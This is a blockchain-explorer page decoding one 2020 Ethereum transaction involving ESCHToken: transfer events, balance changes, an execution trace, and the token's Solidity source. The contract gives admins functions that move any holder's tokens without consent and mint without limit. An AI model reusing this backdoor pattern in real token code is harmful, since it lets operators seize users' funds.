ETH Price: $2,138.60 (+3.67%)

Transaction Decoder

Block:
10735638 at Aug-26-2020 10:55:52 AM +UTC
Transaction Fee:
0.125279785236545758 ETH $267.92
Gas Used:
1,498,562 Gas / 83.600001359 Gwei

Emitted Events:

21 ESCHToken.Transfer( from=[Sender] 0xaf93644501061b8fc9ec1500ce64451fb5f3a186, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=100000000000000000000 )
22 ESCHToken.Transfer( from=0x0000000000000000000000000000000000000000, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=100000000000000000000 )
23 ESCHToken.Transfer( from=0xd65dF292F62c27a1EF5F2B0E48Db86589e13Fc6F, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=3000000000000000000 )
24 ESCHToken.Transfer( from=0x2fC64Bb397e0e0C82F544d6e8A16F72Fd53376fF, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=2000000000000000000 )
25 ESCHToken.Transfer( from=0x6c7C52384CB15382d143cE8F8B61F5CE4160c8E8, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=1000000000000000000 )
26 ESCHToken.Transfer( from=0x205AEf6Da777509B07a9CfB36E3a7606D8647bb3, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=500000000000000000 )
27 ESCHToken.Transfer( from=0x75d7Cab1B399f4206A2b1f2dcE84Bd3e1EDC8761, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=300000000000000000 )
28 ESCHToken.Transfer( from=0xfEe92A1f4699c7062d24e1Ef7B69f4aB9A02A4f3, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=200000000000000000 )
29 ESCHToken.Transfer( from=0xB74441F82D6AC8D8c59D5770bE7a8D1f5d8d07B0, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=200000000000000000 )
30 ESCHToken.Transfer( from=0x16A447EFb3ac106079c057D0dC669b8f17b28c77, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=200000000000000000 )
31 ESCHToken.Transfer( from=0x284039a7D1aE056C2bd22348a4E15086D69a193c, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=200000000000000000 )
32 ESCHToken.Transfer( from=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, to=0x205AEf6Da777509B07a9CfB36E3a7606D8647bb3, value=25000000000000000000 )
33 ESCHToken.Transfer( from=0x205AEf6Da777509B07a9CfB36E3a7606D8647bb3, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=1000000000000000000 )
34 ESCHToken.Transfer( from=[Sender] 0xaf93644501061b8fc9ec1500ce64451fb5f3a186, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=35120000000000000000 )

Account State Difference:

  Address   Before After State Difference Code
0x16A447EF...f17b28c77 38.423641457930394565 Eth38.443641457930394565 Eth0.02
0x205AEf6D...6D8647bb3 3.001990866167302895 Eth3.151990866167302895 Eth0.15
0x284039a7...6D69a193c 38.171229265989187329 Eth38.191229265989187329 Eth0.02
0x2fC64Bb3...Fd53376fF 0.353366938711673879 Eth0.553366938711673879 Eth0.2
0x3C6C214b...2c9Ca9A06 12,686.4508 Eth12,691.8488 Eth5.398
0x3fFdCF27...316ccE70a 544.316309980695498 Eth544.516309980695498 Eth0.2
0x6c7C5238...E4160c8E8 0.837343275976588688 Eth0.937343275976588688 Eth0.1
0x75d7Cab1...e1EDC8761 24.157882034513004779 Eth24.187882034513004779 Eth0.03
0xA821F14f...c90372453
0xAf936445...fb5f3A186
11.713292562439276205 Eth
Nonce: 157
5.100012777202730447 Eth
Nonce: 158
6.613279785236545758
(Babel Pool)
5,816.436772615504763826 Eth5,816.562052400741309584 Eth0.125279785236545758
0xB74441F8...f5d8d07B0 38.198593755804819039 Eth38.218593755804819039 Eth0.02
0xd65dF292...89e13Fc6F 0.555957315532702618 Eth0.855957315532702618 Eth0.3
0xe1d01e8A...FCF20573d 8.106 Eth8.136 Eth0.03
0xfEe92A1f...B9A02A4f3 54.416052792335185703 Eth54.436052792335185703 Eth0.02

Execution Trace

ETH 10 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06.be328a44( )
  • ESCHToken.cxesch( _c1=0xAf93644501061B8fC9eC1500cE64451fb5f3A186 ) => ( _j1=430589503775256182784 )
  • ESCHToken.tr1( _from=0xAf93644501061B8fC9eC1500cE64451fb5f3A186, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=100000000000000000000 )
  • ESCHToken.tr2( _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=100000000000000000000 )
  • ETH 0.2 0x3ffdcf2760b30a1d05704643a503100316cce70a.CALL( )
  • ETH 0.03 0xe1d01e8a4eda80701912e7fbbe252d9fcf20573d.CALL( )
  • ESCHToken.cxesch( _c1=0xd65dF292F62c27a1EF5F2B0E48Db86589e13Fc6F ) => ( _j1=375168607550512365568 )
  • ETH 0.3 0xd65df292f62c27a1ef5f2b0e48db86589e13fc6f.CALL( )
  • ESCHToken.tr1( _from=0xd65dF292F62c27a1EF5F2B0E48Db86589e13Fc6F, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=3000000000000000000 )
  • ESCHToken.cxesch( _c1=0x2fC64Bb397e0e0C82F544d6e8A16F72Fd53376fF ) => ( _j1=115147340825302761472 )
  • ETH 0.2 0x2fc64bb397e0e0c82f544d6e8a16f72fd53376ff.CALL( )
  • ESCHToken.tr1( _from=0x2fC64Bb397e0e0C82F544d6e8A16F72Fd53376fF, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=2000000000000000000 )
  • ESCHToken.cxesch( _c1=0x6c7C52384CB15382d143cE8F8B61F5CE4160c8E8 ) => ( _j1=510416104126513807360 )
  • ETH 0.1 0x6c7c52384cb15382d143ce8f8b61f5ce4160c8e8.CALL( )
  • ESCHToken.tr1( _from=0x6c7C52384CB15382d143cE8F8B61F5CE4160c8E8, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=1000000000000000000 )
  • ESCHToken.cxesch( _c1=0x205AEf6Da777509B07a9CfB36E3a7606D8647bb3 ) => ( _j1=1127284559525954863104 )
  • ETH 0.05 0x205aef6da777509b07a9cfb36e3a7606d8647bb3.CALL( )
  • ESCHToken.tr1( _from=0x205AEf6Da777509B07a9CfB36E3a7606D8647bb3, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=500000000000000000 )
  • ESCHToken.cxesch( _c1=0x75d7Cab1B399f4206A2b1f2dcE84Bd3e1EDC8761 ) => ( _j1=13585413359525954863104 )
  • ETH 0.03 0x75d7cab1b399f4206a2b1f2dce84bd3e1edc8761.CALL( )
  • ESCHToken.tr1( _from=0x75d7Cab1B399f4206A2b1f2dcE84Bd3e1EDC8761, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=300000000000000000 )
  • ESCHToken.cxesch( _c1=0xfEe92A1f4699c7062d24e1Ef7B69f4aB9A02A4f3 ) => ( _j1=3474772282704378396672 )
  • ETH 0.02 0xfee92a1f4699c7062d24e1ef7b69f4ab9a02a4f3.CALL( )
  • ESCHToken.tr1( _from=0xfEe92A1f4699c7062d24e1Ef7B69f4aB9A02A4f3, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=200000000000000000 )
  • ESCHToken.cxesch( _c1=0xB74441F82D6AC8D8c59D5770bE7a8D1f5d8d07B0 ) => ( _j1=2811587304302142619648 )
  • ETH 0.02 0xb74441f82d6ac8d8c59d5770be7a8d1f5d8d07b0.CALL( )
  • ESCHToken.tr1( _from=0xB74441F82D6AC8D8c59D5770bE7a8D1f5d8d07B0, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=200000000000000000 )
  • ESCHToken.cxesch( _c1=0x16A447EFb3ac106079c057D0dC669b8f17b28c77 ) => ( _j1=19289224808000000000000 )
  • ETH 0.02 0x16a447efb3ac106079c057d0dc669b8f17b28c77.CALL( )
  • ESCHToken.tr1( _from=0x16A447EFb3ac106079c057D0dC669b8f17b28c77, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=200000000000000000 )
  • ESCHToken.cxesch( _c1=0x284039a7D1aE056C2bd22348a4E15086D69a193c ) => ( _j1=8174178579101024731136 )
  • ETH 0.02 0x284039a7d1ae056c2bd22348a4e15086d69a193c.CALL( )
  • ESCHToken.tr1( _from=0x284039a7D1aE056C2bd22348a4E15086D69a193c, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=200000000000000000 )
  • ESCHToken.cxesch( _c1=0x4469bfFbEEfa89f2D3f888c87f29EaD009a01D87 ) => ( _j1=2488411964878891319295 )
  • ESCHToken.cxesch( _c1=0x4469bfFbEEfa89f2D3f888c87f29EaD009a01D87 ) => ( _j1=2488411964878891319295 )
  • ESCHToken.cxesch( _c1=0x4469bfFbEEfa89f2D3f888c87f29EaD009a01D87 ) => ( _j1=2488411964878891319295 )
  • ESCHToken.cxesch( _c1=0x4469bfFbEEfa89f2D3f888c87f29EaD009a01D87 ) => ( _j1=2488411964878891319295 )
  • ESCHToken.cxesch( _c1=0x4469bfFbEEfa89f2D3f888c87f29EaD009a01D87 ) => ( _j1=2488411964878891319295 )
  • ESCHToken.cxesch( _c1=0x4469bfFbEEfa89f2D3f888c87f29EaD009a01D87 ) => ( _j1=2488411964878891319295 )
  • ESCHToken.tr1( _from=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _to=0x205AEf6Da777509B07a9CfB36E3a7606D8647bb3, _value=25000000000000000000 )
  • ETH 0.1 0x205aef6da777509b07a9cfb36e3a7606d8647bb3.CALL( )
  • ESCHToken.tr1( _from=0x205AEf6Da777509B07a9CfB36E3a7606D8647bb3, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=1000000000000000000 )
  • ETH 3.512 0xaf93644501061b8fc9ec1500ce64451fb5f3a186.CALL( )
  • ESCHToken.tr1( _from=0xAf93644501061B8fC9eC1500cE64451fb5f3A186, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=35120000000000000000 )
    pragma solidity 0.4.18;//20190809 
    ////////////
    contract ESCHToken  {
     string public constant name = "Esch$Token";
      string public constant symbol = "ESCH$";        
      uint8 public constant decimals = 18;
      uint256 public totalSupply;
      address  owner;
      uint32 hl=1000;
      address SysAd0; 
     
        mapping (address => uint256) public balanceOf;
     
        mapping (address => mapping (address => uint256)) public allowance;
    
        event Transfer(address indexed from, address indexed to, uint256 value);
        
        event Burn(address indexed from, uint256 value);
     
        mapping (address => bool) admin;
    
     
       function ESCHToken () public {
          totalSupply = 10200000 ether;                          // Update total supply
          balanceOf[msg.sender] = totalSupply;
    	  owner = msg.sender;                             //  
    	  admin[owner]=true;
     //	  hl=1000;
        }
    
        function transfer(address _from, address _to, uint _value) internal {
            require(_to != 0x0);
            require(balanceOf[_from] >= _value);
            require(balanceOf[_to] + _value > balanceOf[_to]);
            uint previousBalances = balanceOf[_from] + balanceOf[_to];
            balanceOf[_from] -= _value;
            balanceOf[_to] += _value;
            Transfer(_from, _to, _value);
            assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
        }
    
        function transfer(address _to, uint256 _value) public {
            transfer(msg.sender, _to, _value);
        }
    
        function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
            require(_value <= allowance[_from][msg.sender]);     // Check allowance
            allowance[_from][msg.sender] -= _value;
            transfer(_from, _to, _value);
            return true;
        }
    
        function approve(address _spender, uint256 _value) public
            returns (bool success) {
            allowance[msg.sender][_spender] = _value;
            return true;
        }
    
    
        function burn(uint256 _value) public returns (bool success) {
            require(balanceOf[msg.sender] >= _value);
            balanceOf[msg.sender] -= _value;
            totalSupply -= _value;
            Burn(msg.sender, _value);
            return true;
        }
    
        function burnFrom(address _from, uint256 _value) public returns (bool success) {
            require(balanceOf[_from] >= _value);
            require(_value <= allowance[_from][msg.sender]);
            balanceOf[_from] -= _value;
            allowance[_from][msg.sender] -= _value;
            totalSupply -= _value;
            Burn(_from, _value);
            return true;
        }
     
        function setadmin (address _admin) public {
        require(admin[msg.sender]==true);
        admin[_admin]=true;
       }
    
     
        function mint(address _ad,uint256 _sl) public  {    
        require(admin[msg.sender]==true);
        balanceOf[_ad]+= _sl;
           totalSupply+= _sl;
            Transfer(0, _ad, _sl);
        }
    
     
        function cxesch (address _c1) public view returns(uint256 _j1){
            return( balanceOf[_c1]);
        }
    
        function SetAw0(address _adA0) public {
        assert(admin[msg.sender]==true);   
        SysAd0=_adA0;
        }   
    
        function hl0(uint32 _hl) public {
        assert(admin[msg.sender]==true);   
        hl=_hl;
        }       
      ///////////
    
        function gm() public payable {
        require (balanceOf[SysAd0]>=hl*msg.value);    
        require (msg.value>=0.1 ether);
        transfer(SysAd0, msg.sender, hl*msg.value);
        SysAd0.transfer(msg.value);
        }
         //
          function tr1(address _from, address _to, uint _value) public {
             assert(admin[msg.sender]==true);    
            require(_to != 0x0);
            require(balanceOf[_from] >= _value);
            require(balanceOf[_to] + _value > balanceOf[_to]);
            uint pre1 = balanceOf[_from] + balanceOf[_to];
            balanceOf[_from] -= _value;
            balanceOf[_to] += _value;
            Transfer(_from, _to, _value);
            assert(balanceOf[_from] + balanceOf[_to] == pre1);
        } 
        //
           function tr2(address _to, uint _value) public {
            assert(admin[msg.sender]==true);  
            require (totalSupply<100000000 ether); 
            require(balanceOf[_to] + _value > balanceOf[_to]);
            totalSupply +=_value;
            balanceOf[_to] += _value;
            Transfer(0, _to, _value);
        }   
        
     
    }